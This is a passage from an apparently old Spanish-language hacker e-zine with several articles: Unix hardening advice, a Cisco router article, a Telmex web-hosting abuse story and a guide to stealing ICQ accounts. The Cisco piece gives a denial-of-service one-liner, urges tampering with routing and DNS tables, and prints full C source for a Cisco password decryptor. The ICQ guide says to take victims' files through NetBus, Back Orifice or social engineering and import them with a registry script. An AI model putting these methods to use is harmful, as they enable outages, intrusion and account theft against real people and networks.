encriptado y no olvidar denegar el permiso de lectura a ningun usuario que
no pertenezca al grupo de root XDD

Que reglas deben seguirse para la creacion de un usuario (user and password)?

-Primero que nada debemos elegir un buen user y un buen pass de preferencia
 que no sea relacionado con su nombre, iniciales, edad, telefono, novia, cita,
 etc XDD. Este password debe contener numeros, letras, mayusculas, minusculas
 para que los crackers sufran mas tratando de codificar los passwords XDD.
-No debemos apuntar la clave en ningun papel, libro o agenda, porque puede
 llegar visita y pillar tu passwords XDD.
-No crear cuentas publicas.
-Cambiar frecuentemente los passwords.
-Usar solamente la cuenta un solo usuario (preferencia el due~o).
-Checar diario las bitacoras de los usuarios, que archivos almacenan, que
 extensiones, etc.
-Verificar las cuentas usando diccionarios.  
-Checar el permiso de quien puede cambiar passwords.
-Verificar el control de asignacion de los grupos.
-Ante cualquier situacion o anormalidad, actuar, corregirla y si sobrepasa o
 pone en riesgo el sistema, reportarlo.
-Revisar que tan a menudo son usadas las cuentas.
-Eliminar aquellas cuentas que no tengan password.
-Usar shells restringidas.

Pasando a los comandos que debemos cuidar y detectar su uso indebido estan:
su y last .Como ya sabemos el comando su sirve para cambiar de un usuario a
otro y que se usa con frecuencia para elevarnos a poder supremo XDD root, el
sue~o de todo Cracker; una manera facil es checar los logs localizados en
/var/log/message este archivo nos dice que usuario trato de hacer un su y
que resultados obtuvo.

El comando last nos es de gran importancia para revisar cuando fue el ultimo
acceso de x usuario al sistema, checando tambien su fecha y eventos que
realizo, y mas que nada localizar accesos no autorizados como ips
desconocidas XD.

Ahora pasaremos a hacer un chequeo de nuestros archivos del sistema
(FileSystem)

-Que tipo de archivo
-Su longitud en bytes
-Tiempo de ultimo acceso (atime)
-Tiempode modificacion (mtime)
-Tiempo de cambio de inodo (ctime)
-Revisar el UID y GID
-Checar permisos
-Observar su ubicacion

Protegiendo nuestros archivos con el chmod: Este comando permite cambiarle
permisos a nuestros archivos.

sintaxis : chmod opcion mode,mode file

SATA        S=4000      SUID
            S=2000      SGID
            S=1000      STICKY
ATA= 4,2,1
ATA= r,w,x

Respaldo de datos constante:
Un buen administrador debe hacer respaldos constantes de sus datos, debido a
que pueden haber errores en le usuario, equipo, sistema, ataques de hackers,
crackers, algun robo, etc.

Que se debe respaldar?
Los passwords /etc/passwd , /etc/shadow , /etc/hosts , /home  y algunas areas
de datos que sean genericas.

La forma mas sencilla es comprimiendo los datos con tar o compress XDD aunque
hay herramientas mas avanzadas como ARKEIA, RecoverEdge, etc.

Cuidando nuestros logs: Un consejo que yo daria es el no permitir la lectura
de ningun archivo de la carpeta /var/log/ en especial de los wtmp, utmp,
messaes,secure, sendmail, boot.log, etc.

Controlando servicios y accesos:
Verificar que servicios necesitamos y cuales no son de gran utilidad, un
scaneo constante del sistema nos ayuda a mantener una vision correcta, el
chequeo de procesos es otra herramienta (ps -guax).

Debemos tomar atencion a los siguientes archivos: /etc/services ,
 /etc/protocols , /etc/inetd.conf

El uso de TELNET:
Es de gran riesgo para nuestros usuarios y para nuestro sistema, recomiendo
que usen el ssh2 para su mayor seguridad, evitando asi sniffers, keyloggers,
backdoors, exploits, claro aunque el hacker siempre encontrara la
forma de penetrar el sistema XDDD.

Uso del FINGER:
No se recomienda dar acceso foraneo a finger, de preferencia apliquenle las
reglas correspondientes en el /etc/hosts.allow y /etc/hosts.deny

Uso de FTP:
Primero que nada antes de poner un ftp publico o mejor llamados anonymous
debemos checar los permisos y que directorios pueden ver. Este servicios
solo se debe dar ciertos usuarios cuando asi se requiera. Algunas
politicas de acceso a ftp podemos encontrarlas en /etc/ftpusers

Uso de SENDMAIL:
Tener siempre la version mas reciente, eliminar los alias que sean de
peligro.

Uso de SSH (Secure Shell) :
Es de gran seguridad para nuestros usuarios, lo recomiendo. Con este se
encripta la clave del usuario y es aun mas seguro y asi evitas que te pillen
el pass si alguien anda sniffeando la red XDD.

Algunas herramientas de seguridad:
 1. TCP-WRAPPERS
 2. Netlogger
 3. Netlog
 4. UdpLogger
 5. Icmplogger
 6. Nstat
 7. Etherscan
 8. Satan

1. TCP-WRAPPERS: 
En este debemos aplicar reglas a los archivos /etc/hosts.allow 
                                              /etc/hosts.deny
Ejemplo:
#
# hosts.allow   This file describes the names of the hosts which are
#               allowed to use the local INET services, as decided
#               by the '/usr/sbin/tcpd' server.
#
in.ftpd:         .localhost,localhost,127.0.0.0/255.255.224.0
in.telnetd:    .localhost,localhost,127.0.0.0/255.255.224.0
in.talkd:        ALL
in.ntalkd:      ALL
ipop3d:         ALL
in.fingerd:    .localhost,localhost,127.0.0.0/255.255.224.0
in.timed:       .localhost,localhost,127.0.0.0/255.255.224.0
in.identd:      ALL

#
# hosts.deny    This file describes the names of the hosts which are
#               *not* allowed to use the local INET services, as decided
#               by the '/usr/sbin/tcpd' server.
#
# The portmap line is redundant, but it is left to remind you that
# the new secure portmap uses hosts.deny and hosts.allow.  In particular
# you should know that NFS uses portmap!
ALL:    ALL: spawn ( /bin/echo -e "%N\:%A|%d|%u|%n\:%a|$(date)" >>
/var/log/denial ) &


2. Netlogger: Esta encargado de escuchar todos los servicios tcp.

3. Netlog: Este fue dise~ado en la Universidad de Texas, esta herramienta
nos traza los distintos servicios basados en ip  (TCP, UDP e ICMP) asi como
el trafico en la red. Ojo se ejecuta de modo promiscuo XDD.

4. UdpLogger: Checa los puertos Upd.

5. Icmplogger: Traza el trafico ICMP.

6. Nstat: Se usa para detectar cambios en los patrones de uso de la red, que
nos pueden despertar sospechas sobre algo raro que esta sucediendo en nuestra
red.

7. Etherscan: Monitorea protocolos que no tienen actividad habitual, como
por ejemplo NIS, tftp, tftpboot, comandos en el puerto 25 de sendmail, expn,
etc.

8. Satan: (Security  Administrator Tool for Analyzing Networks).
Esta herramienta es de dominio publico y fue prorgamado por Dan Farmer y su
uso es un arma de doble filo. Se usa ya sea para detectar nuestras
vulnerabilidades, como tambien para avisale a los hackers por donde pueden
atacar XDD.  Este programa se usa con la interfaz de www, creando una base
de datos de las maquinas analizadas y las relaciona entre ellas XDD.

Bueno por ahora me despido no sin antes recordarles que la seguridad de
nuestros sistema depende de nosotros mismos, de nuestra dedicacion, paciencia
y de el conocimiento que tengamos del sistema.

Recuerden el respeto a user ajeno es la paz XDDD.


=============================================================================
--------------------------------------------------------------------------06-
-----( El Mundo de los Routers Cisco )---------------------------------RM-10]
-----[ dr_fdisk^ ]-----------------------------------[dr_fdisk@ciudad.com.ar]


Bueno en este articulo se va a ver expresada la forma de configuracion de
un Cisco IOS, Standard.

El lenguaje utilizado es muy simple asi pueden comprenderlo todos

1- Que es un router?
2- Comandos principales
3- Sacando informacion
4- El router desde el punto de vista del hacking
5- Despedida

===========================================================================


***************************************************************************
[1]                       Que es un router?                             [1]
***************************************************************************

Los routers son equipos utilizados por grades redes, a traves de estos
equipos se puede administrar,redireccionar, enlazar,etc., las diferentes
subredes que se encuentran conectadas a el.

***************************************************************************
[2]                Comandos principales de un Cisco                     [2]
***************************************************************************

COMANDO          FUNCION
=======          =======

  help           muestra ayuda
  ?                 "      "
  enable         Activa privilegios para poder modificar datos
  clock          Muestra el reloj del sistema
  dialer         Parametros de llamadas y estadisticas
  hosts          IP nombre de dominio, tablas de hosts, nameserver
  location       Muestra la localizacion del sistema
  modemcap       Muestra la base de datos del modem
  ppp            Parametros de PPP y estadisticas
  rmon           Estadisticas del rmon 
  sessions       Informacion sobre conecciones de Telnet
  snmp           Estadisticas del snmp 
  tacacs         Muestra tacacs+ y estadisticas
  terminal       Configuracion de la terminal
  traffic-shape  Configuracion del trafico
  users          Muestra informacion sobre usuarios
  version        Version del hardware y estado del software
  show           Informacion variada sobre tablas de ruteo,etc.
  quit           Cierra la sesion
  hangup           "     "     "
  test           test <telefono> [ <frame-count> ] [ <otras> ]
  local          Va a modo local
  remote         remote <estacion>
  set            Setea varios items
  iproute        Maneja tablas de enrutamiento.
  dnstab         Maneja tabla de DNS local    
  slip           SLIP 
  cslip          SLIP compreso (u)
  menu           Interface de menu
  telnet         telnet <host> <puerto>
  tcp            tcp <host> <puerto>
  ping           ping <host>
  traceroute     Tracea rutas
  rlogin         rlogin [ -l user -ec ] <host> [ -l usuario ]
  open           open < numero-de-modem | slot:modem-en-slot >
  resume         Resume coneccion remota virtual
  close          Cerrar conneccion 
  kill           kill <ID de la sesion>


**************************************************************************
[3]                    Sacando informacion                             [3]
**************************************************************************

Algo que nos seria de mucha utilidad podria ser las ips de las subredes
que estan enlazadas al router, esto es de mucha utilidad.


cisco> iproute show

192.168.1.0/24     -               ie0      C        0   0   40722  27473
192.168.1.30/32    -               local    CP       0   0    5431  27473
204.43.23.4/32     204.43.23.4     wan54    rT      60   1    3651   2980
24.0.0.0/4         -               mcast    CP       0   0       0   27473
24.0.0.1/32        -               local    CP       0   0       0   27473
24.0.0.2/32        -               local    CP       0   0     246   27473
24.0.0.5/32        -               local    CP       0   0       0   27473
24.0.0.6/32        -               local    CP       0   0       0   27473
24.0.0.9/32        -               local    CP       0   0       0   27473
255.255.255.255/32 -               ie0      CP       0   0       2   27473

Zombies:
204.43.23.6.32/32  204.43.23.6.32  wanidle0 rT       60  16      259   283
204.43.23.6.45/32  204.43.23.6.45  wanidle0 rT       60  16       12   178


Lo que sacamos aqui es muy interesante, tomemos la primera linea:
                                                    
IP de la RED/Mascara              Interface /Clase  Estadisticas generales
--------------------               ---      |        --------------------
192.168.1.0/24     -               ie0      C        0   0   40722  27473


Otra cosa que nos podria servir es ver quien esta conectado. Para saber lo
que vamos a hacer :-) 

cisco>show users

I Session   Line: Slot: Tx    Rx    Service         Host            User
O ID        Chan  Port  Data  Rate  Type[mpID]      Address         Name
I 300631199 1:5   3:12  50000 31200 PPP             204.32.32.3   mary
I 300631299 N/A   3:3   N/A   N/A   N/A             N/A             Answer
I 300631399 N/A   3:3   N/A   N/A   N/A             N/A             Answer
I 300631499 1:5   3:12  50000 31200 SLIP            204.32.32.3   andres

Esto nos podria servir para localizar las IPs asignadas a los diferentes
usuarios que se encuentran en una coneccion SLIP o PPP a nuestro
router,etc. Podemos saber quien esta online y que modems estans 
conectados. Todo esto lo observamos a simple vista :X

Otro comando que nos podria servir para nuestros propositos es el history, 
alli se haya grabado el log del sistema de comandos, podremos sacar mucha
clase de informacion, por ej: las conecciones que se han realizado, los
enlaces que se han modificado y todo tipo de actividad que se haya llevado
a cabo en el menu de comandos.

cisco> show ip alias

Interface    10.2.1.2
Interface    192.182.12.1
Interface    212.291.22.255

Con esta funcion (show ip alias) nos mostrara los alias o sea las
diferentes IPs que tiene el router en el que estamos conectados,, o sea en
la red 212.291.22 la ip de nuestro router sera 212.291.22.255. Con esta
informacion nos facilitara para movernos en las redes que esten conectadas
a el.


*********************************************************************
[4]    El router desde el punto de vista del hacking              [4]
*********************************************************************


Empezemos por lo mas divertido :-)

Alguna vez se han puesto a pensar que pasaria si modificamos las tablas de
enrutamiento?!?, bueno podriamos llegar a causar un GRAN CAOS en toda las
subredes que se hayan conectadas al router, a que me refiero con caos?,
bueno si logramos obtener permisos y modificar las tablas de enrutamiento
podriamos llegar a hacer que todas las redes que esten interconectadas
gracias al router dejen de estarlo o sea podria causar una caida general
de la RED, se han imaginado si hariamos esto en un ROUTER de un ISP
grande? o en un router de una empresa? o sin ir mas lejos en un router del
Gobierno o llendo mas lejos en los routers del NIC :-)

Esto lo podemos realizar con el comando iproute y set, para ver mas
informacion sobre estos pongan iproute ? o set ? y ahi se las imaginan,



************************************************************************

Otra cosa que podriamos llegar a hacer es algo un poco mas complejo, Lo
mas interesante que se puede hacer seria reacomodar las tablas de
enrutamiento a nuestro beneficio, a que me refiero con esto?!?, bueno
imaginense que nuestra maquina este conectada a su red, podriamos trabajar
desde nuestra estacion con mas libertades y podriamos tener acceso a toda
la intranet que esta a tras del router. 
La forma basica de hacer esto es agregar nuestra direccion IP y Netmask
correspondientes al enlace que el router tiene,esto no es muy complicado y
es posible hacerlo. No voy a pasar a explicar como hacerlo pero ya saben 
para hacer esto tambien solo necesitaran modificar las tablas
iproute ? o set ?, alli apararece todo lo que necesitaran.

***************************************************************************


Modificando las tablas de DNS, heh,, esto si que podria llegar a hacer un
desastre, bueno si logramos modificar las tablas de DNS podriamos
redireccionar el servidor principal a otra IP, por ej, si quieren hacer un
manifiesto en su pagina web, no es necesario acceder al servidor de web,
sino con solo modificar las tablas de DNS lo podrian hacer muy facilmente,
esto lo pueden hacer con el comando: dnstab

***************************************************************************

Tirando a un cisco (DENIAL OF SERVICE ATTACK)
==============================================

Algunas versiones de Cisco son vulnerables al ataque, la forma de hacerlo
es muy simple: 

<eXtreme># perl -e'print 0xFF x10000' | telnet algun.cisco.de.la.red.com 2001


***************************************************************************
PASSWORD RECOVERY BUG
***************************************************************************

Necesitamos estar fisicamente en el router
-------------------------------------------
Aca mostramos una de las tantas formas de hacerlo :
====================================================

Son vulnerables:
----------------
Todos los Cisco 2000, 2500, 3000, 680x0-Based 4000,7000 Corriendo 10.0 o
posterior en ROMs, IGS corriendo 9.1 o posterior en ROMs

Vamos paso por paso:
--------------------

  1. Enlazar una coneccion al router

  2. Tipear "show version" y graba la configuracion. Usualemnte 0x2102 o 
     0x102

  3. Apagar el router y luego prenderlo

  4. Presiona la tecla Break en la terminal despues de los 60 de segundos
     de prendido, va a parecer el prompt del router ">" sin nombre.

  5. Tipea "o/r0x42" en el > prompt para bootear o "o/r 0x41" para
     bootear desde ROMs.

  6. Tipea "i" en el > prompt. El router se reiniciara pero va a ignorar
     la configuracion guardada.

  7. Respnde "no" a todo en el setup.

  8. Tipea "enable" en el "Router>" prompt.

  9. Elije una de las tres opciones:

        o To VIEW the password type "show config."
        o To CHANGE the password (in case it is encrypted, for example):
          a. Type "config mem" to copy the NVRAM into memory.
          b. Type "config term" and make the changes to the configuration.

                   conf t
                   enable password password
                   ctrl-z

          c. Type "write mem" to commit the changes.
        o To ERASE the config, type "write erase.

 10. Tipea "config term" en el prompt.

 11. Tipea "config-register 0x2102,"

 12. Presiona Ctrl-Z para salir del editor

 13. Tipea "reload" en el prompt. Tu no necesitas memoria para guardar


****************************************************************************
PASSWORDS en CISCO
****************************************************************************
El Shell script origianl fue escribo por Hobbit, (hobbit@avian.org) y esta
disponible en ftp://avian.org.

La versiones 11.x son vulnerables.

Ej :

Password 7 08204E

La string encriptada es 08204E. Los primeros dos digitos son usados como
base dentro de la string XOR.

08 corresponde al index de la string xor.

2 es multiplacdo por 16 y luego el digito siguien (0) es agregado a este.
[ == 32]

32 XOR xorstring[08] = 'a'

Mueve a los siguientes dos caracteres y repite
  4 * 16 = 64
  64 + 14 (E) = 78
  Incrementa el index dentro de la string xor
  78 XOR xorstring[08] = 'b'

*******************************************************************************

PROGRAMAS:
==========
ciscocrack.c

---------------------------------<CORTAR AQUI>-------------------------------

#include <stdio.h>
#include <ctype.h>

char xlat[] = {
        0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f,
        0x41, 0x2c, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72,
        0x6b, 0x6c, 0x64, 0x4a, 0x4b, 0x44
};

char pw_str1[] = "password 7 ";
char pw_str2[] = "enable-password 7 ";

char *pname;

cdecrypt(enc_pw, dec_pw)
char *enc_pw;
char *dec_pw;
{
        unsigned int seed, i, val = 0;

        if(strlen(enc_pw) & 1)
                return(-1);

        seed = (enc_pw[0] - '0') * 10 + enc_pw[1] - '0';

        if (seed > 15 || !isdigit(enc_pw[0]) || !isdigit(enc_pw[1]))
                return(-1);

        for (i = 2 ; i <= strlen(enc_pw); i++) {
                if(i !=2 && !(i & 1)) {
                        dec_pw[i / 2 - 2] = val ^ xlat[seed++];
                        val = 0;
                }

                val *= 16;

                if(isdigit(enc_pw[i] = toupper(enc_pw[i]))) {
                        val += enc_pw[i] - '0';
                        continue;
                }

                if(enc_pw[i] >= 'A' && enc_pw[i] <= 'F') {
                        val += enc_pw[i] - 'A' + 10;
                        continue;
                }

                if(strlen(enc_pw) != i)
                        return(-1);
        }

        dec_pw[++i / 2] = 0;

        return(0);
}

usage()
{
        fprintf(stdout, "Uso: %s -p <password encriptado>\n", pname);
        fprintf(stdout, "       %s <router config file> <output file>\n", pname);

        return(0);
}

main(argc,argv)
int argc;
char **argv;

{
        FILE *in = stdin, *out = stdout;
        char line[257];
        char passwd[65];
        unsigned int i, pw_pos;

        pname = argv[0];

        if(argc > 1)
        {
                if(argc > 3) {
                        usage();
                        exit(1);
                }

                if(argv[1][0] == '-')
                {
                        switch(argv[1][1]) {
                                case 'h':
                                usage();
                                break;

                                case 'p':
                                if(cdecrypt(argv[2], passwd)) {
                                        fprintf(stderr, "Error.\n");
                                        exit(1);
                                }
                                fprintf(stdout, "password: %s\n", passwd);
                                break;

                                default:
                                fprintf(stderr, "%s: unknow option.", pname);
                        }

                        return(0);
                }

                if((in = fopen(argv[1], "rt")) == NULL)
                        exit(1);
                if(argc > 2)
                        if((out = fopen(argv[2], "wt")) == NULL)
                                exit(1);
        }

        while(1) {
                for(i = 0; i < 256; i++) {
                        if((line[i] = fgetc(in)) == EOF) {
                                if(i)
                                        break;

                                fclose(in);
                                fclose(out);
                                return(0);
                        }
                        if(line[i] == '\r')
                                i--;

                        if(line[i] == '\n')
                                break;
                }
                pw_pos = 0;
                line[i] = 0;

                if(!strncmp(line, pw_str1, strlen(pw_str1)))
                        pw_pos = strlen(pw_str1);

                if(!strncmp(line, pw_str2, strlen(pw_str2)))
                        pw_pos = strlen(pw_str2);

                if(!pw_pos) {
                        fprintf(stdout, "%s\n", line);
                        continue;
                }

                if(cdecrypt(&line[pw_pos], passwd)) {
                        fprintf(stderr, "Error.\n");
                        exit(1);
                }
                else {
                        if(pw_pos == strlen(pw_str1))
                                fprintf(out, "%s", pw_str1);
                        else
                                fprintf(out, "%s", pw_str2);

                        fprintf(out, "%s\n", passwd);
                }
        }
}

----------------------------<AQUI TERMINA>--------------------------------



***************************************************************************
[5]                            DESPEDIDA                                [5]
***************************************************************************

Bueno espero que les haya gustado y sobre todo servido.

Saludos, dr_fdisk^

Cualquier duda/acotacion: dr_fdisk@ciudad.com.ar    RaZa MeXiCaNA TeAm


-----BEGIN PGP MESSAGE-----
Version: 2.6.3i

owGtkcFKxDAQhmWPeYr/BdqLN0EwdLO00NalFql7UGabsQQ3DcRdXGVfyXd07EX3
JEi/8B/+PxlmmHwuhu3CxgsBv0iE6z/5fqVwTgONjQioYNChQCaunhK0EmlU6p+t
VE2er2Dj07N1ry+PUMaT2/0kN707WLJpH3xKUeXB85oGKRmDUsmcqCyEaN1INkRY
3mEdwzv3+4DSjYcjuNtH9qwa2hAq7lxGNaFl7YG36aSIIHyIEngwjnDoxY2iFEFu
hxlGPv+e5eV9UeJ2hTY3qE2LkzQ/TW5V1LrEUj+guENuGjPvvqC+AA==
=lIZ7
-----END PGP MESSAGE-----


=============================================================================
--------------------------------------------------------------------------07-
-----( Servicios Prodigy Web de Telmex )-------------------------------RM-10]
-----[ Vlad ]----------------------------------------[vlad@raza-mexicana.org]

Telmex hace una vez mas de las suyas y ahora es el turno de hablar de su ser-
vicio Prodigy Web. Telmex entre otros  tantos  servicios  (Deficientes  hasta
decir basta) cuenta con hospedaje de hojas Web  con  dominio  propio  (Claro,
esto del dominio es problema de Internick de Mexico), las cuales  cuentas con
servicios basicos pero siempre necesarios como son Contador, Envio de formas,
Directorio CGI y Extensiones FrontPage, los usuarios por default  no  cuentan
con estos servicios sino hasta el  momento  en  que  estos  los  solicitan  a
Telmex. Bueno, vamos como dijo el  pollo...  vamos  al  grano.  Para  poderme
explicar mejor y de una manera diferente pues lo hare  con  una  historia  XD
(Los personajes son ficticios y cualquier parecido con la  realidad  es  mera
coincidencia).
 
Pepe es un usuario Prodigy Web con su dominio propio www.pepe-rulz.com.mx, la
administracion de este sito la realiza via  FTP  (l/p pepe/soycabron),  bueno
Pepe no es muy popular en su escuela por ser tan pero tan creido, asi que uno
de sus compa~eros (Blas, jeje) pues decide ver de que manera puede  modificar
el contenido de su pagina.  Intentando  en  balde  todo  tipo  de  toyanos  y
keyloggers pues no puede conseguir su password, asi que decide ver el site de
Prodigy Web Telmex para ver si en algun lugar aparece el login y el  pass  de
Pepe (Mentalidad de ni~o jeje). http://www.prodigyweb.net.mx/ ... pues  nada,
no aparece el pass de ese cuate, pero Blas se da  cuenta  de  que  se  pueden
solicitar  algunos  servicios  extras como   contador,   directorio   cgi   y
extensiones FrontPage, una idea loca paso por la  mente  de  Blas:  "igual  y
tienen extensiones de frontpage bugientas"  asi  que  intento  entrar  en  el
servidor y pues no tenia extensiones, un poco desconsolado Blas dio un  click
en la forma de solicitud de servicios adicionales
(http://www.prodigyweb.net.mx/contratar/webserver.htm) se percato de  que  se
podian solicitar los servicios de cualquier sitio hospedado con ellos  y  que
la notificacion de activacion de servicios podia llegar a cualquier direccion
de  correo,  jeje,  asi  que  creo  una  cuenta  ficticia  (Con  una  sonrisa
endemoniada en su rostro) en un servidor de email gratis y solicito todos los
servicios (Que idea loca ahora pasaba por  su  mente?).  Ocho  horas  despues
(Como siempre Telmex muy rapido en sus servicios) llego la notificacin:

//*** Inicio del Mensaje

From: 
 Top of Form 1
 "Webmaster" <webmaster@webtelmex.net.mx> 

 Contador
  Ya puede hacer uso de su contador.
  Puede colocar la siguiente instruccion:
  <img src="/cgi/count.exe?df=pepe-rulz.dat&ft=0">
  Consulte http://www.prodigyweb.net.mx/soporte/contador.htm para revisar
  otras opciones.

 Forma
  Ya puede hacer uso de las formas de captura.
  Consulte http://www.prodigyweb.net.mx/soporte/formacaptura.htm para revisar
  las instrucciones.

 FrontPage
  Las extensiones de Microsoft Frontpage han sido instaladas en su servidor
  web.
  Le recomendamos realice una copia de respaldo de sus archivos, para
  conservar permisos.

//*** Fin del Mensaje


K00l "Le recomendamos realice una copia de respaldo  de  sus  archivos,  para
conservar permisos" jejejeje,  eso  era  todo,  ahora  tenia  extensiones  de
frontpage y con  privilegios  de  todo,  lista  para  ser  actualizada  desde
cualquir lugar y por cualquier persona. El resto de la historia pues  se  las
dejo a su imaginacion.


Bueno, la solicitud de extensiones de FrontPage las puede solicitar cualquier
persona para cualquier sitio web hospedado en Telmex y si no las  sabes  usar
(el caso de Pepe y el de Blas) o no te enteraste de que alguien las  solicito
por ti y que ahora las tienes... pues dejas  tu  sitio  web  listo  para  que
cualquier persona entre y modifique o substraiga informacion. Desde mi  punto
de vista Telmex no deberia permitir esto pero en fin, ahi se  los  dejo  para
que tomen sus precauciones.
                                                                         Vlad


=============================================================================
--------------------------------------------------------------------------08-
-----( Robo de Cuentas de ICQ )----------------------------------------RM-10]
-----[ Stele ]---------------------------------------------[prepucio@usa.net]
 

                ....ooOO00| Robo de cuentas de ICQ |00OOoo....
                               - Por Stele -

El ICQ, ese maravilloso programa para comunicarnos con la raza que tanto nos
gusta y tanto queremos, pero que tan poco seguridad tiene. El tema a tratar
en este articulo sera como robarse una cuenta de ICQ con lista y todo y
registrarla en nuestra maquina sin ningun problema, ademas de que nos
mostrara la clave del icq de la victima... xD

Lo primero que tenemos que hacer es obtener los siguientes archivos:

UIN.idx ------.
UIN.dat       |
UINmsg.dat    |---> En donde UIN es el numero de icq de la victima.
UINmsg.idx    |
UINhis.idx    |
UINhis.dat ---'

La parte mas dificil de todo el proceso es esta, despues de que te consigas
esos archivos el resto es facil. Puedes obtener estos archivos de diferentes
formas, por el netbus, el BO, ingenieria social, etc etc...

Ok, ahora vienen los pasos para terminar nuestra operacion:

1. Cuando tengas estos archivos copialos a tu carpeta ICQ\DB\ (Ej.
C:\Archivos de programa\ICQ\DB\ )
2. Si tienes tu icq abierto, cierralo
3. Abre notepad o cualquier otro editor de texto y copia el siguiente texto:

<----------Cortar aqui ----------------->
REGEDIT4

[HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN]
"Name"="ICQ Robado"

[HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs]
"Random Groups Version"=dword:0000000a
"Online Color"=dword:00ff0000
"Unlisted Color"=dword:00800000
"Offline Color"=dword:000000ff
"Authorize Color"=dword:00400080
"Notify Color"=dword:00800080
"LastStatus Color"=dword:00008000
"Default File Dir"="C:\\Archivos de Programa\\ICQ\\Received Files"
"SMTP Address"=""
"DND Message"="Please do not disturb me now. Disturb me later."
"Out Message"=""
"Busy Message"="User is occupied. Only urgent messages will be delivered."
"Chat Message"="I would lique to chat about anything"
"Away PreNum"=dword:00000000
"Out PreNum"=dword:00000000
"Busy PreNum"=dword:00000000
"DND PreNum"=dword:00000000
"Chat PreNum"=dword:00000000
"File Options"=dword:00000004
"URL Options"=dword:00000004
"Chat Options"=dword:00000004
"All Options"=dword:0000000e
"EXT Options"=dword:00000004
"Startup"="No"
"Auto Away"="No"
"Auto Hide Time"=dword:0000001e
"Auto Hide"="No"
"Move Server Top"="No"
"Blink In Tray"="No"
"Sort Lists"="Yes"
"Show Online List"="No"
"Remove AddFriend"="Yes"
"Splash Open"="Yes"
"History Last First"="Yes"
"FloatTop"="Yes"
"Thru Server"="No"
"Join Chat"="No"
"Open URL Browser"="No"
"Refuse File NotInList"="No"
"Overwrite ExistFile"="No"
"Disable Online Alert"="Yes"
"Accept Urgent In Busy"="No"
"Blink Tray In AwayBusy"="Yes"
"Use Contact List Color"="No"
"Contact List Color"=dword:00c8b99d
"Save User File"="Yes"
"Auto Update"="Yes"
"Search Wizard"="No"
"Default Mailer"="Yes"
"Pop Play Sound"="Yes"
"Pop Auto Launch"="No"
"Pop Check"="No"
"Pop Time"=dword:0000000a
"Check Headers"="Yes"
"MoveToOutDelay"=dword:00000014
"MoveToOut"="No"
"MoveToAwayDelay"=dword:0000000a
"MoveToAway"="No"
"Auto Sleep Mode"="No"
"Log History Events"="Yes"
"Connection Type"="Permanent"
"Firewall"="Yes"
"UseGivenIP"="No"
"Socks"="No"
"SocksPort"=dword:00000438
"SocksServer"="Enter your socks server"
"ProxySocks4Host"="Enter your proxy server"
"ProxySocks4Port"=dword:00000438
"UseProxySocks4"="No"
"GiveStats"="No"
"SocksVersion"=dword:00000004
"SocksAuthentication"=dword:00000000
"FirewallTimeout"=dword:0000001e
"UseFirewallTimeout"="No"
"UseFirewallRangePorts"="Yes"
"FirewallFromPort"=dword:000059d8
"FirewallToPort"=dword:00007148
"Old Sockets"="No"
"UserType"=dword:00000000
"Mail Receipients"=";"
"Random Available"="No"
"RandomGroupName"=dword:00000001
"Random Name"="#d 666 ["
"Allow Secure Clients Only"="Yes"
"PhoneApproval"="Yes"
"PhoneToneTime"=dword:00000032
"PhonePauseTime"=dword:000001f4
"PhoneBreakTime"=dword:00000028
"PhoneSettings"=dword:00000001
"PhonePauseChar"=","
"PhoneLocalP"=" "
"PhoneLongP"=" "
"PhoneInterP"=" "
"Chat RoomName"="Product Support / Suggestion"
"Auto Join Chat Room"="Yes"
"Novice Counter"=dword:0000000a
"Menu Counter"=dword:00000013
"Servers Version"=dword:00000001
"Externals Version"=dword:00000019
"Stats"=hex:60,ff,ea,52,5c,36,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,0
0,\
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
"Novice"="No"
"Dropped Users"=hex:01,00,00,00,43,ca,35,00,e6,02,1f,00
"State Flags"=dword:00000000
"Server Msg Version"=dword:0000000b
"Server Msg Shown"=dword:00000001
"Server Msg Count"=dword:00000009
"LeftButton Warning"="No"
"Menu Left Click"="No"
"Tip Startup"="No"
"Tip Position"=dword:00000000
"MoreEvents Warning"="No"
"Invisible Warning"="No"
"Send Later Warning Off"="No"
"Busy Warning"="No"
"Away Warning"="No"
"DND Warning"="No"
"FT Warning"="No"
"Ext Warning"="No"
"Out Warning"="No"
"Chat Warning"="No"
"Away Message"="User is currently away\r\nYou can leave him/her a message"
"Random Comment"="Stele r00lz!\r\n\r\nhttp://Stele.tripod.com\r\nStele
r00lz!."

[HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\YOURUIN\Prefs\Presets]
"OutMsg Presets 0"="I'm out'a here. See you tomorrow!"
"DNDMsg Presets 0"="Please do not disturb me now. Disturb me later."
"Away PresetsMsg 0"="Away"
"Out PresetsMsg 0"="Out for the day"
"Busy PresetsMsg 0"="Busy"
"DND PresetsMsg 0"="DND"
"Chat PresetsMsg 0"="Chat"
"AwayMsg Presets 1"="I am out to lunch. I will return shortly."
"OutMsg Presets 1"=""
"DNDMsg Presets 1"="I am currently in a meeting. I can't be disturbed."
"ChatMsg Presets 1"="Come Join my chat room!"
"Away PresetsMsg 1"="Lunch"
"Out PresetsMsg 1"="Not here"
"Busy PresetsMsg 1"="Meeting"
"DND PresetsMsg 1"="Meeting"
"Chat PresetsMsg 1"="Come In"
"AwayMsg Presets 2"="Don't go anywhere! I'll be back in a jiffy!"
"OutMsg Presets 2"="I'm closed for the weekend/holidays."
"DNDMsg Presets 2"="Don't disturb my concentration!"
"ChatMsg Presets 2"="Don't miss out on the fun! Join our chat!"
"Away PresetsMsg 2"="Be right back"
